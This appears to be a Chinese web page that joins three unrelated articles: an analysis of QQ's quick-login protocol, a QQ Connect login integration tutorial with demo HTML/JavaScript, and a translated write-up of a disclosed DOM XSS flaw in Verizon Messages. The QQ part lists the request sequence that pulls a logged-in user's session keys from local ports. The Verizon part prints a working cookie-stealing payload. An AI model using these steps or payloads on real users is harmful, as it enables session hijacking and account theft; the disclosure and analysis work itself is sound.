眾所周知,很多網站會使用QQ授權登錄,而不知道從什么時候開始QQ出了“快速安全登錄”,那么快速安全登錄真的安全嗎?接下來我們分析一波。
請求地址:
https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=715030901&daid=371&ptnoauth=1&s_url=https%3A%2F%2Fbuluo.qq.com%2F%23
請求頭無需要任何帶入操作,請求cookie。
從上圖我們可以看到返回頭出現一堆set-cookie,其他的沒有什么用,但必須有一個關鍵cookie:“pt_local_token”,必須記錄下來;
請求地址:
https://localhost.ptlogin2.qq.com:端口號/pt_get_uins?callback=ptui_getuins_CB&r=0.6694805047494219&pt_local_tk=pt_local_token
其中的端口號為4301~4309,pt_local_token為前邊取出的pt_local_token值,請求頭帶入Referer,Cookie帶入pt_local_token=“pt_local_token”,然后我們就可以拿到本地登錄的QQ:
var var_sso_uin_list=[{"account":"Q號","client_type":65793,"face_index":144,"gender":1,"nickname":"Blue","uin":"QQ號","uin_flag":4194822}];ptui_getuins_CB(var_sso_uin_list);
https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=QQ號&callback=ptui_getst_CB&r=0.7284667321181328&pt_local_tk=pt_local_token
請求頭帶入Referer,Cookie帶入pt_local_token=“pt_local_token”;
https://ssl.ptlogin2.qq.com/jump?clientuin=clientuin&keyindex=9&pt_aid=715021417&u1=https%3A%2F%2Fhuifu.qq.com%2Findex.html&pt_local_tk=1096080737&pt_3rd_aid=0&ptopt=1&style=40
請求頭帶入referer和cookie。
cookie需要帶入pt_local_token、clientuin、clientkey等關鍵參數。然后得到uin和skey;
有了這兩個參數就可以做一些敏感操作了,具體有什么操作,大家不得而知。
經過以上“QQ快速安全登錄協議分析”,我們發現,其實并不是100%安全,程序很容易能拿到以上這些參數來獲取你的QQ信息,例如QQ好友,QQ群,甚至你的空間相冊密碼。那么如何來避免呢,那就是用正版軟件(防止開發者在程序里植入類似病毒),不要訪問不安全網站,有些釣魚網站進去就會出現QQ快速安全登錄,那么你要是登錄了,說不定就被人竊取了QQ信息。
ello呀,我是yangyang.在經歷多次qq互聯創建網站應用來接入qq快速登錄審核不過之后,內心已經難受至極,今天給大家分享下接入qq登錄的申請流程的一些細節之處,基本能保證大家通過.
如圖
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, viewport-fit=cover">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>互聯登錄的demo</title>
<style>
html,body {
margin: 0;
padding: 0;
height: 100%;
width: 100%;
}
body {
font-family: sans-serif;
display: flex;
justify-content: center;
align-items: center;
}
button {
background-color: transparent;
width: 150px;
height: 44px;
border-radius: 32px;
border: 1px solid #999;
cursor: pointer;
font-family: inherit;
}
button:hover {
background-color: #3abcff;
border-color: #3abcff;
color: #fff;
}
button i {
display: inline-block;
vertical-align: middle;
width: 18px;
height: 18px;
-webkit-mask-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA+1pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDIxIDc5LjE1NTc3MiwgMjAxNC8wMS8xMy0xOTo0NDowMCAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoTWFjaW50b3NoKSIgeG1wOkNyZWF0ZURhdGU9IjIwMTYtMTItMjFUMTI6MzM6MjYrMDg6MDAiIHhtcDpNb2RpZnlEYXRlPSIyMDE4LTA5LTIxVDEwOjQ1OjQ2KzA4OjAwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDE4LTA5LTIxVDEwOjQ1OjQ2KzA4OjAwIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjcxMzlDMDQwQkQ0ODExRTg4ODFGQTcwMkEwQTAyQTQ5IiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjcxMzlDMDQxQkQ0ODExRTg4ODFGQTcwMkEwQTAyQTQ5IiBkYzpmb3JtYXQ9ImltYWdlL3BuZyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkQ3RDU2OTAwQjU1QjExRTZCQTZEQUY4MDI2NTY4MUExIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOkQ3RDU2OTAxQjU1QjExRTZCQTZEQUY4MDI2NTY4MUExIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+kM01ZAAAA/5JREFUeNrcW01IFVEUvi9Ty8zMNAvJMNIMCZFEK108qFZqpFAQWdugRQVWCNW2TZs2rWonBG1EwaCfRYsWBUVQRGIRSUVZmf1ivbRe3+mdgcdrxLlzZ+478w58zGPmvfvu+eacc885cyeWTCaVicRiMS9fywOagFZgI7AGKAWWANPAZ+A1MArcY/z2MrDp/P8NYIJ5pB64AHygv9LAFHAR2BT6/EMioAYYBP5oKu6Gq8CGKBFwlM06GSASQD95nGQCCoDLASueCbKqIokEkPLXQlbewY10EqQQMGBJeQfDjjtIIOCwZeUdnAyCgJjJOoocYC0Oj4FiZV8oMDZi/mMmgywwnMT5LClPUsg5RnYSIUhzQOu8KeImLmBiAafc1uUsyBmjVN5PDIDvV+EwDiwUQAApUA89ntqMAQeEKK/YCg/aDoK7lSzptuYCMP9yHN4FsIIELeugywsbFtAuUHmSNlsusEXJlG22CGgQSkCDLQLqhRJQZysI/uQ0VKIUQp9foVkAlF8uWHmSyrBdYKmSLaVhE1AinICisAmICScgP2wCyoQTUBI2AQnhBMyETcAO4QTsDC0PwBJI5e9LYLVgAiaBauj0IwwL6BGuPAlVqr1av9DoAd5R2e//ecHDwJ8LqNSj7WSEEA+6KXpMRUuOBBYEEfwqVGrzQkGECJjlDtGrIILgvogpT0IrlqdGqRcCelU0Zb/xKqBSOzOSEcZm0yC4R0Vb9pq6QHfECdjlexVA9F+Jw1slswWuI+uh43M/FtCVA8qTdPh1gU6VG9Kh7QJc+X2MQAvMaw+jDHpO61hAY44oT0Jd7FZdF2hXuSVbdQlodjn3JSLKus2zRZcAt8dMJyJCQJ/LuVqtVFj9v7v7lkq1xJ8JT30neP4jGecTWg0RLiedH1N/rY7PXxJOwBWeJ72P8C3jWpFOLZCX9rk/bQPSkHDzH2Krpj7A8Yxr+TouMMmsjTi5Ap+nvsAboXf/E1CcNldy2UHHinVdYJj9vdzl2mmhBJxzmesy4BFwU5cAeuOjco5rNOh7YcrT0lcxx3zpcV5toLvFIYeEEdBndbs8+9d1IcrfpqBtfbs8CiZ6SkSvt1VlMepTvtICHcb9DuC73sefUrOkJ4spMlV3XSbKz9sU9egObbwE2TR7SnK2BzF/o44P3IBebKQNiqOW7/4YF2xNxiMZ3HUpD0sfkDVYWwW4KpwVtgzSe8Zn07PWUAiAxIUXQ526BOi+9EBp5QD7fY3GKpLgHuMEt9qpWHmiUm+dUOVG+3yrgVUqtQljBbDIqxfzOHeB+9pxzCAPyOOJFnP/0KkgyRy/8ufvjGkff7GYx3Y2Z9LRuWEzaWNPQYdZvzHwrwADAG+u/Wg4e38MAAAAAElFTkSuQmCC);
-webkit-mask-size: cover;
background-color: #000;
}
button span {
display: inline-block;
vertical-align: middle;
font-size: 18px;
margin-left: 5px;
letter-spacing: 2px;
}
button:hover i {
background-color: #fff;
}
#info {
text-align: center;
}
#avatar {
width: 100px;
height: 100px;
border-radius: 100%;
object-fit: cover;
}
#nick {
font-size: 18px;
display: block;
margin: 15px 0;
}
</style>
</head>
<body>
<button id="login" style="display:none"><i></i><span>登錄</span></button>
<div id='info' style="display:none;">
<img id="avatar" src="https://ui.qzone.com/100" alt="">
<span id="nick">您好,測試用戶</span>
<button id="signOut"><span>注銷</span></button>
</div>
<script type="text/javascript" src="//qzonestyle.gtimg.cn/qzone/openapi/qc_loader.js"charset="utf-8">
</script>
<script>
var options={
appId : 101870587, //這個appId 是這個demo的,業務請使用自己的appid
//s_url 這個參數業務可以自定,目的是讓業務在回調頁知道怎么回調到發起登錄的頁面
// 換成自己的也行
redirectURI : 'https://qq-web.cdn-go.cn/connect-demo/latest/callback.html?s_url='+encodeURIComponent(location.href)
}
//初始化一下sdk
QC.init(options);
//未登錄,顯示登錄按鈕
if(!QC.Login.check()){
document.getElementById('login').style.display='block'
//登錄態檢查通過,獲取個人信息
}else{
QC.Login.getMe(function(openId,accessToken){
QC.api("get_user_info").success(function (req) {
document.getElementById('info').style.display='block'
// document.getElementById('avatar').src=req.data.nickname;
document.getElementById('nick').innerText='您好,'+req.data.nickname;
})
})
}
var loginBtn=document.getElementById('login')
var signoutBtn=document.getElementById('signOut')
if(window.addEventListener){
var clicked=false
loginBtn.addEventListener('click',function(){
if(clicked){
cosole.log('防止手抖')
return;
}
clicked=true;
setTimeout(function(){clicked=false},500)
//通過這個方法來打開登錄頁
QC.Login.showPopup(options)
})
signoutBtn.addEventListener('click',function(){
QC.Login.signOut();//注銷
location.reload();//頁面刷新下
})
}else{
//TODO: 兼容ie老版本
}
</script>
</body>
</html>
1. 在QQ互聯開放平臺首頁 https://connect.qq.com/ ,點擊右上角的“登錄”按鈕,使用QQ賬號登錄,如下圖所示:
重要提示:
開發者QQ號碼一旦注冊不能變更,建議使用公司公共QQ號碼而不是員工私人號碼注冊,以免遇到員工離職等情況造成不必要的麻煩。
2. 登錄成功后會跳轉到開發者注冊頁面,在注冊頁面按要求提交公司或個人的基本資料。下圖所示的是公司注冊頁面:
3.按要求提交資料后,審核人員會進行審核,通過審核即可成為開發者。
應用接入前,首先需進行申請,獲得對應的appid與appkey,以保證后續流程中可正確對網站與用戶進行驗證與授權。
開發者注冊完成后,點擊“應用管理”按鈕。
跳轉到qq互聯管理中心頁面,點擊創建應用。
選擇需要創建的應用類型,我們以網站應用為例:
點擊創建網站應用后,按要求完善信息:
網站信息填寫完成,點擊“創建應用”后,網站應用創建完成,點擊“應用管理”,進入管理中心,在管理中心可以查看到網站獲取的appid和appkey,如下圖所示:
備注:創建移動應用與網站應用步驟方法一致,在此不贅述。
點擊“應用中心”,應用右側的“查看”,進入應用詳情頁面。
應用詳情頁面可點擊“修改”來編輯應用“基本信息”和“平臺信息”。
點擊“應用接口”可查看已獲取的接口,使用QQ登錄功能。
erizon Messages(Message+)是Verizon推出的一款開放跨平臺信息交換應用程序,它允許用戶在更多的無線設備中交換和共享信息。目前,該軟件客戶端支持跨平臺使用,包括移動設備、桌面設備和Web端,并提升了VZW文字短信的用戶體驗度。
Verizon的郵件信息服務是跨平臺的,此前只能夠通過采用電話撥號的方式進行發送和接收,而新的應用程序將允許用戶通過互聯網在更多的無線設備上接收消息,并允許用過通過計算機對郵件賬戶進行管理。此外,跨平臺的統一消息的應用程序可能有助于防止客戶移動到其他網絡,并與其他應用程序如iMessage、黑莓信使和Skype開展競爭,這也有助于提升Verizon的市場競爭力。
但是這款應用除了SMS短消息之外,還提供了一些其他的額外功能,而這些功能是我非常感興趣的。
在我安裝好了Android端App并完成注冊之后,我又登錄了Web端App并開始使用這款應用。使用了一段時間之后,我發現該應用會通過Web端和移動端的接口顯示包含鏈接的消息預覽通知。這些鏈接支持圖片和視頻等資源,但我更感興趣的是應用將會如何解析這些鏈接。
我感覺從Web端App著手會比較容易一些,所以我自己給自己發送了一些測試鏈接。
這樣一來情況就很明朗了:Web端的HTML頁面就是負責解析這些鏈接的服務器端,解析完成之后便會返回URL地址的Open Graph屬性。下面給出的是響應數據的部分內容:
{ "webPreview":{ "valid":true, "url":"http://money.cnn.com/2017/05/13/technology/ransomware-attack-nsa-microsoft/index.html", "title":"Ransomware: World reels from massive cyberattack", "description":"Organizations around the world were digging out Saturday from whatexperts are calling one of the biggest cyberattacks ever. ", "imageUrl":"/vma/web2/attachment/WebPreview.do?id=KDvS9ip4Afj6fPMTClAzqhegDyT9mSaM0zrQQfrBu8EbtJ0Xu_DyughZu53i-vOLkSeEpbLIk756f4o6igDFp0VHU5kVYFnJoeshsfy7eR3Q8XGwTY_rsu3FHEAAI4DJEmqYl7yBEqeWKSTYUnl48LRpXAokSGi1LWdWZqP0Bovl_EVMpdWB2JfnUz8Qxb0d&mdn=3026323617", "imageDim":{ "width":420, "height":236 } }}
正如你所看到的,響應信息中包含UI界面預覽信息圖片所對應的Open Graph屬性。請注意,上面的“imageUrl”實際上是Verizon的服務器所返回的代理圖片(并非來自外部服務器),而這種代理技術可以讓服務商更好地控制顯示在用戶瀏覽器中的圖片內容。
由于預覽屬性“attachment”是異步獲取的(內容呈現在客戶端),因此我決定在這里用DOMXSS攻擊向量嘗試一下,因為開發人員有可能會忽略這個影響因素。接下來,我又給自己發送了一些測試鏈接,這一次的鏈接中包含一些特殊字符,我想看一看這一次WebApp將如何處理和呈現這些內容。我在測試鏈接的查詢字符串中插入了一些單引號,此時我突然發現我貌似可以利用單引號來破壞上述錨點元素的href屬性。下面是一個簡單的Payload示例:
http://i.imgur.com/0wmSPiU.jpg?'onmouseover='alert(document.cookie)'style='position:fixed;top:0;left:0;width:100%;height:100%;'class='1'target='2
下面是網頁解析的結果:
通過讓錨點以內聯的形式強制覆蓋用戶的整個屏幕,我們可以利用“onmouseover”事件在打開消息的一瞬間觸發代碼執行:
這也就意味著,攻擊者可以利用一個精心制作的文字短信來控制目標用戶的整個頁面,這將導致攻擊者完全控制用戶的會話以及所有相關的功能,包括偽造用戶身份發送和接收SMS消息。
因為我的PoC已經可以正常工作了,所以我開始分析應用的javaScript源碼并嘗試找到導致該問題出現的原因。
注意其中“href”屬性的值都被單引號包裹起來了,雖然現在也有幾種方法能夠解決這個問題,但在這里最合適的方法應該是使用DOMAPI。
var a=document.createElement('a');
披露
我將PoC以及問題的測試截圖/視頻發送給了Verizon,與往常一樣,Verizon的技術人員迅速給我提供了回復,并感謝我將漏洞及時上報給他們,然后迅速修復了這個問題。
更新
貌似Verizon最終還是選擇了使用DOM API來解決這個問題。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。